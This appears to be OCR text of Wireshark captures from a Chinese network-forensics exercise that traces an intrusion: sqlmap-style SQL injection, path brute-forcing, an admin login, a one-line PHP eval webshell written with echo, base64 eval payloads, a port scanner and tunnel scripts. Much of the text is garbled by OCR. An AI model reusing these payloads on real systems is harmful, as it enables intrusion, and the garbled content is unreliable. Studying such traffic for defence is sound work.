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E 5 .. 1. T07. 168 T Z37 GET /apout. pnp? LISt ld=6%20AND% 2042 364304204 NI 1P/ L. T
1555 HTTP 09:31:09.017566 192.168 74 202.1.1 455 HTTP/1.1 208 OK (text/html)
1563 HTTP ©9:31:09.143346 202.1.1 192.168.1.74 437 GET /about.php?listid=6%20AND%205682%3D5682 HTTP/1.1
1585 HTTP 09:31:09.173624 192.168 74 202.1.1 921 HTTP/1.1 200 OK (text/html)
1593 HTTP ©9:31:09.306500 202.1.1. 192.168.1.74 437 GET /about.php?listid=6%2@AND%209141%3D3356 HTTP/1.1
1615 HTTP ©9:31:09.330157 192.168 74 202.1.1 455 HTTP/1.1 200 OK (text/html)
1623 HTTP ©9:31:09.486399 202.1.1 192.168 74 581 GET /about.php?listid=6%20AND%20%285ELECT%26CHRY%2876%29%26CHR%28107%29%26CHR%2889%29%26CHR%28104%29%20FROM%26MSy SAC
1645 HTTP ©9:31:09.517508 192.168.1.74 202.1.1. 455 HTTP/1.1 200 OK (text/html)
1657 HTTP ©9:31:09.639666 202.1.1 192.168 74 594 GET /about.php?listid=6%20AND%20%285ELECT%26CHR%2885%29%7C%7 CCHR%2872%29%7C%7CCHR%2875%29%7C%7C CHR%2871%29%20F ROM%2
1679 HTTP ©9:31:09.685500 192.168.1.74  202.1.1 455 HTTP/1.1 200 OK (text/html)
1687 HTTP 09:31:09.816326 202.1.1 192.168 74 488 GET /about.php?1istid=6%20AND%20%28SELECT%20%27IPIA%27%20F ROM%20RDB%24DATABASE%29%3D%27IPIA%27 HTTP/1.1
1709 HTTP ©9:31:09.829680 192.168.1.74  202.1.1 455 HTTP/1.1 200 OK (text/html)
1718 HTTP 09:31:09.954771 202.1.1 192.168 74 619 GET /about.php?1istid=6%20AND%20%28SELECT%20CHAR%2865%29%7C%7CCHAR%28111%29%7C%7CCHAR%2878%29%7C%7CCHAR%2866%29%20F

1740 HTTP ©9:31:10.002328 192.168.1.74  202.1.1 455 HTTP/1.1 20@ OK (text/html)

1860 HTTP ©09:31:10.614339 192.168
1868 HTTP 09:31:10.745096 202.1.1
189@ HTTP 09:31:10.773154 192.168
1911 HTTP ©9:31:15.430548 202.1.1.
1933 HTTP ©9:31:15.494915 192,168
1941 HTTP ©9:31:15.623354 202.1.1
1963 HTTP ©09:31:15.666249 192.168.

1071 UTTD £0:21.18 708738 262 1 1

15

74 202.1.1
192.168
74 202.1.1
192.168.
74 202.1.1
192.168

74 202.1.1.
103 1802

921 HTTP/1.1 200 OK (text/html)

®

455 HTTP/1.1 200 OK (text/html)
455 HTTP/1.1 200 OK (text/html)

455 HTTP/1.1 200 OK (text/html)
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1748 HTTP ©9:31:10.128662 202.1.1. 192.168.1.74 482 GET /about.php?listid-6%20AND%20%28SELECT%20%27keEr%27%20F ROM%20VERSIONS%29%3D%27KeEr%27 HTTP/1.1

1770 HTTP :31:10.166465 192.168.1.74  202.1.1. 455 HTTP/1.1 20@ OK (text/html)

1778 HTTP .295317 202.1.1. 192.168.1.74 562 GET /about.php?listid=-6%20AND%20%28SELECT%20CHAR%2897%29%2BCHAR%2865%29%2BCHAR%28113%29%2BCHAR% 2811 3%29%29%3DCHAR2
1800 HTTP 330 192.168.1.74  202.1.1. / 921 HTTP/1.1 200 OK (text/html)

1808 HTTP ©9:31:10.443616 202.1.1. 192.168.1.74 561 GET /about.php?listid=6%20AND%20%28SELECT%2@CHARY2897%29%2BCHARY2865%20%2 BCHAR%28113%29%2BCHAR%28113%29%29%3DCHARY2
1828 HTTP ©9:31:10.454704 192.,168.1.74  202.1.1 921 HTTP/1.1 200 OK (text/html)

1838 HTTP ©9:31:10.584328 202.1.1 192.168.1.74 . 464 GET /about.php?1istid=6%20AND%26%28SEL ECT%200X6CAb5452%20%3D0X6CA5A5a HTTP/1.1

74 464 GET /about.php?listid=6%20AND¥%20%28SELECT%200x6c4b545a%29%3DOxX61666e55 HTTP/1.1
74 647 GET /about.php?listid=6%20AND%20%28SELECT%202%2A%28TF%28%28SEL ECT%20%2A%20FROM%20%28SE LECT%20CONCAT%280x716b787071%
74 646 GET /about.php?1istid=6%200R%20%28SELECT%202%2A%28TF%28%285E LECT%20%2A%20FROM%20%285EL ECT%20CONCAT%280x716b787071%2
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[> Frame 1503: 463 bvtes on wire (37e4 bits). 463 bvtes caotured (37@4 bits) on interface @
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. phpinfo

http contains "phpinfo"

R ik
H3& [8] i) phpinfoili i3 & 1 28 & fhtmlh, RAFFITIF

System Windows NT TEST-7E28AF8836 5.2 build 3790 (Windows Server 2003 Enterprise
Edition Service Pack 2) i586 LY
Build Date Aug 15 2014 19:15:47 \

Compiler MSVCY (Visual C++ 2008)
Architecture |x86

Configure cscript /nologo configure.js "--enable-snapshot-build” "--disable-isapi” "--enable-
Command debug-pack” "--without-mssgl" "--without-pdo-mssql” "--without-pi3web" "--with-
pdo-oci=C\php-sdk\oracle\instantclient10\sdk,shared” "--with-oci8=C\php-
sdk\oracle\instantclient10\sdk,shared” "--with-oci8-11g=C\php-
sdk\oracle\instantclient11\sdk,shared” "--enable-object-out-dir=../obj/" "--enable-
com-dotnet=shared" "--with-mcrypt=static" "--disable-static-analyze"

HUE IR G4 1 EHL4 TEST-7TE28AF8836
TE Ja SE I B0 B o 4k 521 98

ip.addr == 192.168.2.66 && http contains "phpinfo"

‘ data2_00006_20180208102855 - | X
SHF) EE(E) ME(V) BEEE(G) BEERC) oITA) SEiH(S) BiE(Y) AEE(W) LE(T) FHBE(H)
ANI@® 1 REQeE2EFIS S RAQUE
[i‘ip. addr == 192. 168. 2. 66 && http contains “phpinfo” [X] -] FiET - +
No. Protocoel Tinme Source Destination Length Info

66837 HTTP 18:30:13.653538 192.168.1.74 192.168.2.66 938 POST /indexs.php HTTP/1.1

104907 HTTP 1©:30:41.235605 192.168.1.74 192.168.2.66 604 POST /indexs.php HTTP/1.1 (application/x-www..
105871 HTTP 16:30:41.259287 192.168.2.66 192.168.1.74 173 HTTP/1.1 200 OK (text/html)



System Linuxicloude)2.6.32-431.216.x86 64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86 64
Build Date Aug 11 2016 20:34:18

Configure ' fconfigure' "--build=x86 _64-redhat-linux-gnu' '--host=x86_64-redhat-linux-gnu’ '--
Command target=x86_b4-redhat-linux-gnu' '--program-prefix=""--prefix=/usr' '--exec-
prefix=/usr' '--bindir=/usr/bin’ '--sbindir=/usr/shin’ '--sysconfdir=/etc’ '--
datadir=/usr/share’ '--includedir=/usr/include' '--libdir=/usr/lib64' '--
libexecdir=/usr/libexec' --localstatedir=/var' '--sharedstatedir=/var/lib’ '--
mandir=/usr/share/man’ '—-infodir=/usr/share/info' '--cache-file=../config.cache’ '--
with-libdir=lib64' '--with-config-file-path=/etc' '--with-config-file-scan-dir=/etc/php.d’
'--disable-debug' '--with-pic' '--disable-rpath' '--without-pear' '--with-bz2" '--with-
exec-dir=/usr/bin’ '--with-freetype-dir=/usr’ '--with-png-dir=/usr' '--with-xpm-
dir=/usr' '--enable-gd-native-ttf’ '--without-gdbm' '--with-gettext' '--with-gmp' '--
with-iconv' '--with-jpeg-dir=/usr' '--with-openss|’ '--with-pcre-regex=/usr' '--with-zlib'
'—-with-layout=GNU" --enable-exif' *--enable-ftp' '--enable-magic-quotes’ '--enable-
sockets' "--enable-sysvsem' '--enable-sysvshm' '--enable-sysvmsg' '--with-kerberos' '--
enable-ucd-snmp-hack’ '--enable-shmop' '--enable-calendar' '--without-sglite' "--with-
libxml-dir=/usr' '--enable-xml' '--with-system-tzdata' --with-apxs2=/usr/sbin/apxs' '--
without-mvsal' '--without-ad' '--disable-dom" '--disable-dba" '--without-unixODBC" '--

B.REMA T H 2 TAXNRS|/IETHIE(NE)
sqlmap

4. BISRLTH Bk Pk 5 6 BT S 3505 DL R BHIE RS 2 A4 (1% user/pass/vcode)

ip.addr == 192.168.1.74 && ip.addr ==202.1.1.2 &&http

RABHEEAH, —EHAEKsqmap
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M data2_00002_20180208094351
TEHF) IR ME(Y) BEG) RO SIMA) FEHS) EE(Y) W) TR EESHH)

Am @ TRE QeEsEFE I = QQQE
[A]ip. addr == 152, 188.1. 74 && ip.addr ==202.1.1. 2 &&http
Neo. Protocel Time Source Destination Length Info
74315 HTTP 99:45:19.265610 202.1.1.2 192.168.1.74 591 GET /about.php?1listid=6%20AND%200RD%28MID%28%28SELECT4#20IFNULL%28CAST%28passwd%20A5%20CHAR%29}
74355 HTTP 09:45:19.275745 192.168.1.74 202.1.1.2 455 HTTP/1.1 200 0K (tex‘t/h‘tml)
74425 HTTP 99:45:19.405826 202.1.1.2 192.168.1.74 591 GET /about.php?listid=6%20AND%200RD%28MID%28%28SELECT420IFNULL%28CAST%28passwd%20AS%20CHAR%297
74459 HTTP 99:45:19.434824 192.168.1.74 202.1.1.2 455 HTTP/1.1 200 OK (text/html)
84159 HTTP 09:45:34.813015 202.1.1.2 192.168.1.74 395 GET /admin/ HTTP/1.1
84161 HTTP 09:45:24.813600 192.168.1.74 202.1.1.2 512 HTTP/1.1 403 Forbidden (text/html)
283@75 HTTP 99:50:23.054222 202.1.1.2 192.168.1.74 122 HEAD /test.php HTTP/1.1
283077 HTTP 09:50:23.054223 202.1.1.2 192.168.1.74 164 HEAD /FCKeditor/editor/filemanager/upload/php/upload.php HTTP/1.1
283079 HTTP 09:50:23.054325 202.1.1.2 192.168.1.74 155 HEAD /intraAdmin/modules/pm/include/install.php HTTP/1.1
283081 HTTP 09:50:23.054327 202.1.1.2 192.168.1.74 134 HEAD /wp-admin/install.php HTTP/1.1
283083 HTTP 99:50:23.054586 202.1.1.2 192.168.1.74 124 HEAD /do/reg.php HTTP/1.1
283085 HTTP 09:50:23.054692 192.168.1.74 202.1.1.2 276 HTTP/1.1 404 Not Found
283087 HTTP 09:50:23.054736 202.1.1.2 192.168.1.74 132 HEAD /admin888/admin.php HTTP/1.1
283089 HTTP 99:50:23.054882 192.168.1.74 202.1.1.2 276 HTTP/1.1 404 Not Found
283091 HTTP 09:50:23.054931 202.1.1.2 192.168.1.74 154 HEAD /intraAdmin/modules/pm/include/update.php HTTP/1.1
283093 HTTP 09:50:23.055185 202.1.1.2 192.168.1.74 130 HEAD /beingmate_in.php HTTP/1.1
283095 HTTP 09:50:23.055282 202.1.1.2 192.168.1.74 143 HEAD /syssite/install/ini_setup.php HTTP/1.1
283097 HTTP 89:50:23.055443 202.1.1.2 192.168.1.74 141 HEAD /intraAdmin/imagemanager.php HTTP/1.1
283099 HTTP 09:50:23.0855737 202.1.1.2 192.168.1.74 137 HEAD /wp—admin/admin—ajax‘php HTTP/1.1
283101 HTTP 09:50:23.055976 202.1.1.2 192.168.1.74 129 HEAD /fonts/login.php HTTP/1.1
283103 HTTP 09:50:23.055977 202.1.1.2 192.168.1.74 123 HEAD /admin.php HTTP/1.1
283185 HTTP 09:50:23.056024 192.168.1.74 202.1.1.2 276 HTTP/1.1 464 Not Found
283187 HTTP 09:50:23.056312 192.168.1.74 202.1.1.2 276 HTTP/1.1 404 Not Found
283189 HTTP 09:50:23.056314 202.1.1.2 192.168.1.74 142 HEAD /Html/fckeditor/fckeditor.php HTTP/1.1
283111 HTTP 09:50:23.056733 202.1.1.2 192.168.1.74 134 HEAD /intraAdmin/admin.php HTTP/1.1
283113 HTTP 09:50:23.056749 202.1.1.2 192.168.1.74 129 HEAD /admin/admin.php HTTP/1.1
283115 HTTP ©9:50:23.056862 202.1.1.2 192.168.1.74 140 HEAD /syssite/shopadmin/core.php HTTP/1.1
283117 HTTP 09:50:23.057079 202.1.1.2 192.168.1.74 121 HEAD /tag.php HTTP/1.1
283119 HTTP 09:50:23.057360 192.168.1.74 202.1.1.2 276 HTTP/1.1 404 Not Found
283121 HTTP 09:50:23.057529 192.168.1.74 202.1.1.2 276 HTTP/1.1 484 Not Found
283129 HTTP 99:50:23.058340 202.1.1.2 192.168.1.74 138 HEAD /phpmyadmin/db_create.php HTTP/1.1




293795 HI P
295705 HTTP
3085624 HTTP

YYiDVi3D.338YIS LUL. L. 1.2
@9:50:35.549327 192.168.1.74 202.1.1.2
09:50:51.311609 202.1.1.2 192.168.1.74

192.108.L1L./4

45 el JQUmLn/ veriTyLoue.pnp Hiir/1.1
1094 HTTP/1.1 200 OK (PNG)[Malformed Packet]

631 POST /admin/login.php HTTP/1.1 (application/x-www-form-urlencoded)

oK (text/html)

Connection: keep-alive\r\n
Upgrade-Insecure-Requests: 1\r\n

Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 68\r\n

\r\n

[Full request URI: http://282.1.1.1/admin/login.php]
[HTTP request 1/7]

[Response in frame: 385628]

[Next request in frame: 306278]

File Data: 68 bytes

HTML Form URL Encoded: application/x-www-form-ur oded
Form item: "UserName™ = "admin"
Form item: “Password” = "adminlwphp” -
Form item: "Code™ = "WD7x"
Form item: “submit" = " B® % "

N

} ¥ Hypertext Transfer Protocol: Protocol

ARERE, THER, F2TEHEEadmn/E SMHEXMNE, HH AR KuserfMpwdIEH
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426728 HTTP 09:53:40.463758 202.1.1.

74 411 GET /tmpu

RS [ —

aezh.php HTTP/1.1

| #48: s0z0

2 192.168.1
426732 HTTP ©9:53:40.464861 192.168.1.74 202.1.1.2 1202 HTTP/1.1 200 OK (text/html)
426978 HTTP 09:53:40.874902 202.1.1.2 192.168.1.74 133 POST /tmpuaezh.php HTTP/1.1
426986 HTTP 09:53:40.876149 192.168.1.74 202.1.1.2 921 HTTP/1.1 200 OK (text/html)
4279028 HTTP ©9:53:49.934866 202.1.1.2 192.168.1.74 449 GET /tmpbjhbf.php?cmd=echo%2@command%20execution®2@test HTTP/1.1
427030 HTTP 09:53:40.939093 192.168.1.74 202.1.1.2 294 HTTP/1.1 2@@ OK (text/html)
429172 HTTP 09:53:44.158872 202.1.1.2 192.168.1.74 422 GET /tmpbjhbf.php?cmd=whoami HTTP/1.1
429184 HTTP ©9:53:44.162910 192.168.1.74 202.1.1.2 290 HTTP/1.1 200 OK (text/html)
456792 HTTP 09:54:23.954408 202.1.1.2 192.168.1.74 489 GET /tmphjhbf.php?Cmd=ech0%20%5E%BC%Bthp%SE%ZOEVaLS%}M%SBgE%SD%ZQ%EB%BF%SE%}E%BEahC.php HTTP/1.1
456798 HTTP 09:54:23.958577 192.168.1.74 202.1.1.2 269 HTTP/1.1 200 OK (text/html)
i 461404 HTTP ©9:54:32.145120 202.1.1.2 192.168.1.74 442 GET /abc.php HTTP/l.l\
461406 HTTP 09:54:32.145756 192.168.1.74 202.1.1.2 294 HTTP/1.1 200 OK
474386 HTTP 09:54:50.361682 202.1.1.2 192.168.1.74 525 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
474517 HTTP ©9:54:50.392140 192.168.1.74 202.1.1.2 226 HTTP/1.1 200 OK (text/html)
474844 HTTP 09:54:50.580258 202.1.1.2 192.168.1.74 428 GET /abc.php?=PHPE9568F34-D428-11d2-A769-00AAG01ACF42 HTTP/1.1
474848 HTTP 09:54:50.581225 192.168.1.74 202.1.1.2 1368 HTTP/1.1 280 OK (GIF89a) (GIF89a) (image/gif)
474856 HTTP ©9:54:50.583866 202.1.1.2 192.168.1.74 428 GET /abc.php?=PHPE9568F35-D428-11d2-A769-00AABO1ACFA2 HTTP/1.1
474860 HTTP 09:54:50.584643 192.168.1.74 202.1.1.2 982 HTTP/1.1 200 OK (GIF89a) (GIF89a) (image/gif)
481222 HTTP 09:54:59,.891775 202.1.1.2 192.168.1.74 997 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
A81224 HITP 09:54:59,892729 192.168.1.74 202.1.1.2 85 HTTP/1.1 200 0K (text/html)

A& THARRE T4, abe.php, MiZARMBEA T KM, F 2 E#EEphpay < 4T 5 Kishell

http://202.1.1.1/tmpbjhbf.php?cmd=echo "<?php” eval($_POST][ge]);?">>abc.php

6.8 %5 81 ERTF I8 T WL Ao R AME I T CPIE M 3% 1 (3 15 AR, 2 M4 1A1RR)
% abc.phpiIiE R AR Zb64, Frblabe.php3E J1—Ha) i

474860 HTTP 99:54:50.584643 192.168.1.74 202.1.1.2
A81222 HTTP 99:54:59.891775 202.1.1.2 192.168.1.74
481224 HTTP 99:54:59.892729 192.168.1.74 202.1.1.2
482132 HTTP @9:55:00.899849 202.1.1.2 192.168.1.74
482136 HTTP 99:55:00.901461 192.168.1.74 202.1.1.2
492080 HTTP 99:55:14.270510 202.1.1.2 192.168.1.74
492086 HTTP ©9:55:14.271625 192.168.1.74 202.1.1.2
5081176 HTTP 99:55:25.694140 202.1.1.2 192.168.1.74
581186 HTTP ©9:55:25.695109 192.168.1.74 202.1.1.2
582022 HTTP 99:55:27.093730 202.1.1.2 192.168.1.74
5082024 HTTP ©9:55:27.094445 192.168.1.74 202.1.1.2

982 HTTP/1.1 200 OK (GIF89a) (GIF89a) (image/gif)

997 POST /[abc.php HTTP/1.1 (application/x-www-form-urlencoded)

385 HTTP/1.1 200 OK (text/html
1029 POST /abc.php HTTP/1.1 (applicatign/x-www-form-urlencoded)

1166 HTTP/1.1 200 OK (text/html)

1029 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)

1166 HTTP/1.1 200 OK (text/html)

674 POST /[abc.php HTTP/1.1 (application/x-www-form-urlencoded)

264 HTTP/1.1 200 OK (text/html)

1041 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)

325 HTTP/1.1 200 OK (text/html)

User-Agent: Baiduspider\rin
Host: 2@2.1.1.1\r\n

v Content-Length: 7@1\r\n

[Content length: 7e1]

Connection: Close\r\n
Cache-Control: no-cache\r\n
\r\n
[Full request URI: http://2@2.1.1.1/abc.php]
[HTTP request 1/1]
[Response in frame: 481224]
File Data: 701 bytes

~ HTML Form URL Encoded: application/x-www-f#m-urlencoded

Form item: "ge" = "@eval(/*12345*/base64 decode($ POST[z@]));"

Form item: "z@e" = "QGluav9zZXQoImRpc3BsYX1fzXJyb3J1zIiwiMCIpO@BzZXRTdGltZV9saWlpdCgwKTtAc2vex21hz21jX3F1b3R1c19ydW50alW11KDApO2VjaG8olie+fCIpoz
<

= /2bb64decode X FRMT, ANUNE XS BRI B, KERESE B3 T8 T 4 B4k
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SR REE) WE(N) BEEG) RERQ) HFA) it BiEy EEwW) IR FEH)
Ama® RE QemsEFSE - = Qi
N[EEErTEs -~ «Crl-H
No. Protecol Time Source Destination Length Infe
15818 HTTP 09:55:51.979870 202.1.1.2 192.168.1.74 182 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
15822 HTTP ©9:55:51.984492 192.168.1.74 202.1.1.2 264 HTTP/1.1 280 OK (text/html)
15844 HTTP ©9:55:52.006973 202.1.1.2 192.168.1.74 1041 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
15846 HTTP 09:55:52.007634 192.168.1.74 202.1.1.2 439 HTTP/1.1 200 OK (text/html)
18332 HTTP ©9:55:55.511200 202.1.1.2 192.168.1.74 435 GET / HTTP/1.1
18379 HTTP @9:55:55.54@789 192.168.1.74 202.1.1.2 279 HTTP/1.1 2@ OK (text/html)
21837 HTTP 89:56:00.980717 202.1.1.2 192.168.1.74 448 GET /my/tunnel.php HTTP/1.1
21839 HTTP 09:56:00.981570 192.168.1.74 202.1.1.2 411 HTTP/1.1 200 OK (text/html)
24515 HTTP ©9:56:05.693036 202.1.1.2 192.168.1.74 114 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
24527 HTTP @9:56:05.695799 192.168.1.74 202.1.1.2 264 HTTP/1.1 280 OK (text/html)
24545 HTTP 09:56:05.718515 202.1.1.2 192.168.1.74 1041 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
i 24547 HTTP ©9:56:05.719232 192.168.1.74 262.1.1.2 489 HTTP/1.1 200 OK (text/html)
26968 HTTP 09:56:10.121946 202.1.1.2 192.168.1.74 457 GET /my/tunnel.nosocket.php HT =il
26970 HTTP €9:56:10.122799 192.168.1.74 202.1.1.2 323 HTTP/1.1 2@ OK (text/html)
45834 HTTP 89:56:39.880235 202.1.1.2 192.168.1.74 138 GET /my/tunnel.nosocket.php HTTP/1.1
45836 HTTP ©9:56:39.881141 192.168.1.74 262.1.1.2 267 HTTP/1.1 200 OK (text/html)
60300 HTTP ©9:57:03.158796 202.1.1.2 192.168.1.74 457 GET /my/tunnel.nosocket.php HTTP/1.1
60302 HTTP ©9:57:03.159660 192.168.1.74 202.1.1.2 323 HTTP/1.1 200 OK (text/html)
63839 HTTP 89:57:08.841139 202.1.1.2 192.168.1.74 446 GET /my/scan.php HTTP/1.1

Frame 24547: 489 bytes on wire (3912 bits), 489 bytes captured (3912 bits) on interface @
Ethernet II, Src: Realteku b2:eb:7f (52:54:080:b2:eb:7f), Dst: CiscoInc 83:41:42 (ac:a0:16:83:41:42)

Internet Protocol version 4, Src: 192.168.1.74, Dst: 202.1.1.2
Transmission Control Protocol, Src Port: 8@, Dst Port: 65142, Seq: 1, Ack: 988, Len:

Hypertext Transfer Protocol

v Line-based text data: text/html
->|./\t2018-02-09 89:56:24\t@\te777\n
../\12018-02-09 09:55:44\te\te777\n
mimi/\t2018-02-089 09:55:49\te\te777\n
scan.php\t2018-02-89 09:56:03\t3537\tee66\n
tunnel.nosocket.php\t2018-02-09 09:56:24\t6174\1t0666\n
tunnel.php\t2018-0©2-09 09:56:10\t5914\t@666\n
l<-

435

a7

Aata? ANNNT 201 ANPNRNORR2T

3 J] EA% T scan.phpid A N
tunel.nosoket.phpfE A A 4L HE
mimi F FImimikatz.exe F Sk dump R 55 2% 1 35 55

Il 48, mnone:



AE:© RO QewsEFEZ S QAQAE
M EAEF RS - Ctrl-/>
No. Frotocel Time Source Destination Length Info
63839 HTTP ©9:57:08.841139 202.1.1.2 192.168.1.74 446 GET /my/scan.php HTTP/1.1
63847 HTTP ©9:57:08.841931 192.168.1.74 202.1.1.2 60 HTTP/1.1 200 OK (text/html)
68136 HTTP ©9:57:16.132971 202.1.1.2 192.168.1.74 1049 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
68140 HTTP 09:57:16.133672 192.168.1.74 202.1.1.2 6@ HTTP/1.1 200 OK (text/html)
83546 HTTP ©9:57:40.059053 202.1.1.2 192.168.1.74 899 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
83674 HTTP 99:57:40.301730 192.168.1.74 202.1.1.2 6@ HTTP/1.1 200 OK (text/html)
87636 HTTP ©9:57:46.499941 202.1.1.2 192.168.1.74 911 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
:t 87722 HTTP 09:57:46.616106 192.168.1.74 202.1.1.2 60 HTTP/1.1 200 OK (text/html)
88906 HTTP ©99:57:48.670606 202.1.1.2 192.168.1.74 9@5 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
899@2 HTTP 99:57:50.023515 192.168.1.74 202.1.1.2 6@ HTTP/1.1 200 OK (text/html)
1808672 HTTP ©9:58:@3,858718 202.1.1.2 192.168.1.74 9@3 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
100698 HTTP 99:58:03.866489 192.168.1.74 202.1.1.2 6@ HTTP/1.1 200 OK (text/html)
Active Connections\r\n
\rin
Proto Local Address Foreign Address state PID\r\n
TCP 9.0.0.0:80 0.0.0.0:0 LISTENING 5292\r\n
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 634\r\n
TCP 0.0.0.09:445 0.0.0.0:0 LISTENING A4\r\n
TCP 8.0.0.0:1825 0.0.0.0:0 LISTENING A416\r\n
TCcP 0.0.0.0:3306 0.0.0.0:0 LISTENING 5328\ r\n
TCcP 0.0.0.0:3389 0.0.0.0:0 LISTENING 2152\ r\n
TCcP 127.0.9.1:2288 127.0.0.1:3306 TIME_WAIT a\r\n
TCcP 192.168.1.74:80 202.1.1.2:65131 TIME_WAIT a\r\n
TCP 192.168.1.74:80 202.1.1.2:65132 TIME_WAILT e\r\n
TCP 192.168.1.74:80 202.1.1.2:65135 TIME_WAILT e\r\n
TCP 192.168.1.74:80 202.1.1.2:65136 TIME_WAIT e\r\n
TCP 192.168.1.74:80 292.1.1.2:65140 TIME_WAIT e\r\n
TCP 192.168.1.74:80 292.1.1.2:65141 TIME_WAIT e\r\n
TCP 192.168.1.74:80 292.1.1.2:65142 TIME_WAIT a\r\n
TCP 192.168.1.74:80 292.1.1.2:65143 TIME_WAIT a\r\n
TCP 192.168.1.74:80 292.1.1.2:65173 TIME_WAIT a\r\n
TCP 192.168.1.74:80 292.1.1.2:65187 TIME_WAIT a\r\n
TCP 192.168.1.74:80 292.1.1.2:65188 ESTABLISHED 1792\r\n
TCP 192.168.1.74:139 0.2.0.0:0 LISTENING a\r\n

A] LA B AR 5538 1 F I8 B 3 280 135 445 1025 3306 3389 139

TCPEEM 3 11 (/M F1024)

Bt CARR 45 281 SO AE R T CPyE M i 1 2480 135 139 445
X B % B Googlef B BiX JLANH O 2 TR K. .
BEE R TIPAT T systeminfo

R [A]



M Wireshark - Line-based text data (data-text-lines) - data2_00003 20180208095527

(ISR T TSR < TS R vt RS R < R (o)
=]
v

m

S

BIOS ....:
Windows ....:

4

TEST-7E28AF8836

Microsoft(R) Windows(R) Server 2003, Enterprise Edition
5.2.379@ Service Pack 2 Build 379@

Microsoft Corporation
Uniprocessor Free

test

test
69813-640-7313214-45354
2016-10-14, 6:46:58
1..16 .... 35 .. 48
Red Hat

KvM

X86-based PC

[e1]: x86 Family 6 Model 68 Stepping 1 GenuinelIntel ~3292 mMhz

BOCHS - 1

C: \WINDOWS
C:\WINDOWS\system32
\Device\Harddiskvolume1l
zh-cn; oo (ann)

r4 | ol Y (R |

(GMTHOBIBB) .+ v vv vt varareenrerennenrenneanannnn

1,024 MB
692 MB

.1 2,398 MB

4 mBEn ©

"4 ff 99902 Line—hesed tert date (dere—tesrt—lines) L 5Ig FE.

B asc1I -

P s (1519

|

BIOS ....:
Windows ....:

[s]
Ct \Wl
[E]

I<-

BOCHS - 1
C: \WINDOWS
C: \WINDOWS\system32
\Device\Harddiskvolumel
zh-cnjoov v (voes)
zh-cny.oon (vnnl)

(GMT4OBI0B) + v eteereee e aieaneaeanannennennn

1,024 MB

692 MB

2,398 MB

2,098 MB

3e@ MB
C:\pagefile.sys

WORKGROUP / T
i

[e1]: Q147222
...... 1 .. NIC..

[©1]: Realtek RTL8139 Family PCI Fast Ethernet NIC

DHCP:
P
[e1]: 192.168.1.74

AR %5281 AWindows, (5 #MEF Q147222

| [T



134885 HTTP ©9:58:47.887380 202.1.1.2 192.168.1.74 662 POST /my/scan.php HTTP/1.1 (application/x-www-form-urlencoded)

142999 HTTP 99:58:59.988419 202.1.1.2 192.168.1.74 895 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
143885 HTTP 09:58:59.994467 192.168.1.74 202.1.1.2 286 HTTP/1.1 20@ OK (text/html)
143245 HTTP ©9:59:00.516929 202.1.1.2 192.168.1.74 895 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
143247 HTTP 09:59:00.523094 192.168.1.74 202.1.1.2 347 HTTP/1.1 20@ 0K (text/html)

Frame 1348@5: 662 bytes on wire (5296 bits), 662 bytes captured (5296 bits) on interface @
Ethernet II, Src: dc:fe:18:1a:62:58 (dc:fe:18:1a:62:58), Dst: CiscoInc_83:41:41 (ac:a@:16:83:41:41)
Internet Protocol version 4, Src: 202.1.1.2, Dst: 192.168.1.74
Transmission Control Protocol, Src Port: 65231, Dst Port: 8@, Seq: 1, Ack: 1, Len: 6@8
Hypertext Transfer Protocol
v HTML Form URL Encoded: application/x-www-form-urlencoded

Form item: "startip” = "192.168.1.1"

Form item: "endip" = "192.168.3.255"

Form item: "port" = "21,80,83080,8888,1433,3306,6379"
Form item: "timeout™ = "10"

Form item: "submit" = ""

scan.php F#H WM 192.168.1.1~192.168.3.255 H##um M 21,80,8080,1433,3306,6379
BB tcpii B AR

# Wireshark - i&& TCP 5% (tcp.stream eq 155) - data2_00003_20180208095527 — O

Timeout<input type="text" name="timeout™ value="18" /><br/>
<button type="submit"” name="submit">Scan</button>

</form>

</html>

21

<br/>Scanning IP 192.168.1.1<br/>
15

Port: 8@ is open<br/>

21

<br/>Scanning IP 192.168.1.2<br/>
21

<br/>Scanning IP 192.168.1.3<br/>
21

<br/>Scanning IP 192.168.1.4<br/>
21

<br/>Scanning IP 192.168.1.5<br/>
21

<br/>Scanning IP 192.168.1.6<br/>
21

<br/>Scanning IP 192.168.1.7<br/>
21

<br/>Scanning IP 192.168.1.8<br/>
15

Port: 8@ is open<br/>

17

Port: 33e6 is open<br/>

21

<br/>Scanning IP 192.168.1.9<br/>
22

<br/>Scanning IP 192.168.1.18<br/>
22

<br/>Scanning IP 192.168.1.11<br/>

<br/>Scanning IP 192.168.1.1<br/>
Port: 80 is open<br/>
<br/>Scanning IP 192.168.1.8<br/>
Port: 80 is open<br/>

Port: 3306 is open<br/>



<br/>Scanning IP 192.168.1.33<br/>
17Port: 3306 is open<br/>
<br/>Scanning IP 192.168.1.74<br/>

Port: 80 is open<br/>

Port: 3306 is open<br/>
<br/>Scanning IP 192.168.1.159<br/>

Port: 80 is open<br/>

Port: 8080 is open<br/>

Port: 3306 is open<br/>

<br/>Scanning IP 192.168.1.169<br/>
15

Port: 80 is open<br/>

17

Port: 3306 is open<br/>

21

<br/>Scanning IP 192.168.2.1<br/>
15

Port: 80 is open<br/>

21

<br/>Scanning IP 192.168.2.20<br/>
15

Port: 80 is open<br/>

17

Port: 3306 is open<br/>

22

22

<br/>Scanning IP 192.168.2.66<br/>
15

Port: 80 is open<br/>

17

Port: 3306 is open<br/>

17

Port: 6379 is open<br/>

22

22

<br/>Scanning IP 192.168.2.88<br/>
15

Port: 21 is open<br/>

15

Port: 80 is open<br/>

17

Port: 3306 is open<br/>

22

21

